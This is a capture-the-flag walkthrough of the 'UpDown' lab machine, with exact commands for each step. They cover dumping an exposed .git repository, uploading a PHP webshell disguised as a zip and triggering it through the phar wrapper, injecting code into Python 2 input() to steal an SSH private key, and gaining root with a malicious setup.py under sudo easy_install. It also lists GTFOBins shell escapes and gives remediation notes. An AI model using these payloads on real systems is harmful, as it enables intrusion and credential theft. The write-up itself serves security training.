UpDown
Summary
I enumerated virtual hosts on the target's Apache server and found a hidden development site, dev.siteisup.htb, whose .git repository was left exposed. Dumping that repository handed over the site's source code, which revealed both a secret access-control header and the exact logic of its file-upload filter. Using that knowledge, I crafted an upload that bypassed the extension blacklist via a mismatched file extension and a PHP stream wrapper, achieving remote code execution as the www-data web user.
From there, a SUID/privileged helper script running Python 2's dangerous input() function was abused to run arbitrary commands as the developer account, which was used to steal the developer's private SSH key and read the user flag over a proper SSH session. Finally, a passwordless sudo rule allowing the developer account to run Python's legacy easy_install as root was weaponized with a malicious setup.py to gain a full root shell and capture the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export TOKEN="<the-token-you-captured>"Some commands also carry a value in angle brackets — <base_word_count>, <hash> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Confirm exposed services on the target.
$ nmap -sV -p- $TARGETResolve the primary vhost locally.
$ echo "$TARGET siteisup.htb" | sudo tee -a /etc/hostsFuzz for hidden vhosts; filter the known baseline word count to surface dev.siteisup.htb.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.siteisup.htb' -u http://siteisup.htb -fw <base_word_count>Add the discovered dev vhost to local resolution.
$ echo "$TARGET dev.siteisup.htb" | sudo tee -a /etc/hostsExact commands 3
No header, no credential. A repository answering here is the finding.
$ curl -sS 'http://dev.siteisup.htb/.git/HEAD'Rebuilds the working tree from the objects the server is serving.
$ git-dumper http://dev.siteisup.htb/.git/ ./lootThe header the application insists on, and the blacklist the next step has to get past. Both come out of the dump.
$ grep -rniE 'special-dev|header|require' ./loot/.htaccess ./loot/checker.php | headFixRemove version-control metadata from deployed web rootsHigh
Exact commands 4
Minimal PHP webshell using proc_open (not disabled).
$ mkdir payload && printf '<?php proc_open($_GET["c"],[0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]],$p); ?>' > payload/info.phpPack as a zip but name it .0xdf so it clears the extension blacklist; ensure content isn't pure ASCII so the parser leaves it on disk.
$ cd payload && zip -e0 ../info.0xdf.zip info.php && mv ../info.0xdf.zip ../info.0xdfUpload the disguised archive; note the returned /uploads/<hash>/ path.
$ curl -sS -H "Special-Dev: $TOKEN" -F 'file=@info.0xdf' http://dev.siteisup.htb/upload.phpTrigger the payload via the phar wrapper (server appends .php); confirms code execution as www-data.
$ curl -sS -H "Special-Dev: $TOKEN" 'http://dev.siteisup.htb/index.php?page=phar://uploads/<hash>/info.0xdf/info&c=id'FixReplace the upload extension blacklist with strict content validation and disable phar executionCritical
Exact commands 2
Run from the www-data shell; the script's input() evaluates the payload as developer, leaking their SSH key.
$ printf '%s\n' "__import__('os').system('id; cat /home/developer/user.txt; cat /home/developer/.ssh/id_rsa')" | /home/developer/dev/siteisup
uid=1002(developer)Save the leaked key locally and validate it before use.
$ chmod 600 /tmp/updown-developer-id_rsa && ssh-keygen -y -f /tmp/updown-developer-id_rsaFixRemove the insecure Python 2 input()-based helper and its elevated privilegesCritical
Exact commands 1
Interactive SSH as developer with the correct group context; replace flag output with <user.txt>.
$ ssh -i /tmp/updown-developer-id_rsa -o BatchMode=yes -o StrictHostKeyChecking=no developer@$TARGET 'id; cat /home/developer/user.txt'
uid=1002(developer) gid=1002(developer) groups=1002(developer)Exact commands 2
Confirm the passwordless sudo rule for easy_install.
$ ssh -i /tmp/updown-developer-id_rsa developer@$TARGET 'sudo -n -l'Easy_install builds/executes setup.py as root; replace the flag read with <root.txt> or swap in 'os.system("/bin/bash")' for an interactive root shell.
$ ssh -i /tmp/updown-developer-id_rsa developer@$TARGET "mkdir -p /tmp/updown-easy && printf 'import os\nos.system(\"/usr/bin/id; /bin/cat /root/root.txt\")\n' > /tmp/updown-easy/setup.py && sudo -n /usr/local/bin/easy_install /tmp/updown-easy/"FixRemove the passwordless sudo rule for easy_installCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.